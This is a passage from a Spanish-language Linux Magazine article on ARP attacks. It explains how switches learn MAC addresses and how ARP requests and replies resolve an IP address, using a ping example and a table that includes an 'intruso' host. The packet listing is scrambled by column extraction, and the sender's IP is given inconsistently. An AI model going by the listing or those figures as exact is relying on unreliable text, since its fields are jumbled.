MAC de un router). Nótese que el router sí que está en el mismo segmento que la máquina origen. El protocolo encargado de averiguar la direccion MAC asociada a una direccion ip conocida se llama ARP (address resolution protocol, protocolo de resolución de direccio- nes). Los switches, sin utilizar ARP en abso- luto, aprenden (y se apuntan) las direcciones MAC de origen que llegan por sus puertos. De esta forma consiguen elaborar una lista (mac- address-table) en la que aparecen las direccio- nes MAC que tienen accesibles por cada uno de sus puertos. Así, cuando el switch deba entregar una trama lo hará solamente por el puerto en el que se encuentre la MAC de des- tino (el resto de los puertos no verán esa trama). Esto es cierto para todas las tramas, excepto si la direccion MAC de destino es broadcast, multicast o “unknown unicast”. Este último caso, “unknown unicast”, se pro-

Tabla 1: Relacion de IPs y MACs

Equipo

IP

MAC

router1

172.16.1.51

00:14:BF:B2:7A:31

router2

172.16.1.1

00:14:BF:63:2C:52

intruso

172.16.1.50

00:0A:5E:05:91:33

WWW.LINUX - MAGAZINE.ES

Número 29

29

PORTADA • Ataques ARP

PORTADA • Ataques ARP Figura 1: Paquetes generados al hacer ping desde emisor hasta receptor con

Figura 1: Paquetes generados al hacer ping desde emisor hasta receptor con los equipos recién encendidos con sus tablas de ARP vacías.

duce cuando el switch todavía no tiene una entrada para la direccion MAC en cuestión, o en otras palabras, se produce cuando el switch no ha visto todavía tráfico con dicha MAC ori- gen. Esta situación cambiará en cuanto el switch reciba tráfico originado por la máquina que tenga esa MAC, entonces dejará de ser una MAC “unknown unicast” para pasar a ser una “known unicast” y estar de esta forma dentro de la tabla de direcciones mac del switch. Una de las cosas que se consigue con este mecanismo es un gran ahorro de ancho de banda ya que, siempre que al switch le sea posible, soltará las tramas solamente por el único puerto por donde pueda hacerla llegar a su destino. La dirección MAC ff:ff:ff:ff:ff:ff es una direc- ción especial llamada broadcast (transmisión). Siempre que una trama tenga esta dirección MAC de destino, el switch soltará la trama por todos los puertos (de la misma vlan) excepto por el que llegó. El funcionamiento de ARP es muy sencillo (recordemos que sirve para conocer la direc- ción MAC de una ip conocida). Cuando un nodo necesita averiguar la dirección MAC de una determinada IP (por tanto dicha IP está en un segmento conectado directamente al nodo), el nodo envía una petición “ARP who- has” preguntando a todos los nodos “cuál es la MAC de esta IP”. Esta petición lleva como dirección MAC de origen la del nodo que hace la petición, y como dirección MAC de destino la MAC de broadcast. Por tanto, las peticiones de “ARP who-has” las reciben todos los nodos de la vlan. Aquel que tenga la IP por la cual se pregunta en la petición de ARP who-has debe contestar con un paquete “ARP is-at”, indi- cando su dirección MAC (de momento no hablaremos de proxyarp ni otros mecanismos parecidos). La contestación de ARP is-at tiene como dirección MAC de origen la del nodo que está contestando, y como dirección MAC

30 Número 29

de destino la del nodo que hizo la pregunta. En la figura 1 puede observarse mejor este comportamiento: el emisor (192.168.1.2) hace un ping al receptor (192.168.2.2), el cual con- testa al ping que ha recibido. Aquí aparecen todos los paquetes partiendo de que todos los equipos están recién arrancados (por tanto con sus tablas de arp vacías). En el listado 1 podemos observar en detalle cada uno de los paquetes. Todo comienza cuando el equipo emisor (192.168.1.1) pretende hacer ping al equipo receptor (192.168.2.2). En primer lugar, el equipo emisor examina su tabla de routing y determina que la direc-

ción ip de destino no es una red directamente conectada, por tanto tiene que usar un router para poder alcanzarla. En su tabla de routing hay presente una ruta que dice que para alcanzar la red 192.168.2.0/24 debe usarse como nexthop la ip 192.168.1.1 (nótese que 192.168.1.1 sí es una dirección ip de una red conectada directamente). Por tanto, el equipo emisor necesita averiguar la dirección MAC de 192.168.1.1. Así que utiliza un ARP who-has para averiguar la dirección MAC del nexthop. Esta petición se ve en el paquete (1) que sale del emisor para llegar al switch1. Cuando el paquete (1) llega a switch1 por el puerto fa0/0, el switch inmediatamente lo

Listado1: Detalle de cada paquete de la figura 1

 
   

01 <B>1<B>

 

13 <B>7<B>

 

02 00:11:11:11:11:11

>

14 00:44:44:44:44:44

>

ff:ff:ff:ff:ff:ff,

ethertype

ff:ff:ff:ff:ff:ff,

ethertype

ARP

(0x0806),

length

42:

arp

ARP

(0x0806),

length

42:

arp

who-has

192.168.1.1

tell

who-has

192.168.2.1

tell

192.168.1.2

 

192.168.2.2

 

03 <B>2<B>

 

15 <B>8<B>

04 00:22:22:22:22:22

>

16 00:33:33:33:33:33

>

00:11:11:11:11:11

,

ethertype

00:44:44:44:44:44,

ethertype

ARP

(0x0806),

length

60:

arp

ARP

(0x0806),

length

60:

arp

reply

192.168.1.1

is-at

reply

192.168.2.1

is-at

00:22:22:22:22:22

 

00:33:33:33:33:33

 

05 <B>3<B>

 

17 <B>9<B>

 

06 00:11:11:11:11:11

>

18 00:44:44:44:44:44

>

00:22:22:22:22:22

,

ethertype

00:33:33:33:33:33

,

ethertype

IPv4

(0x0800),

length

74:

IPv4

(0x0800),

length

74:

192.168.1.2

>

192.168.2.2

:

192.168.2.2

>

192.168.1.2:

 

ICMP

echo

request,

id

1024,

ICMP

echo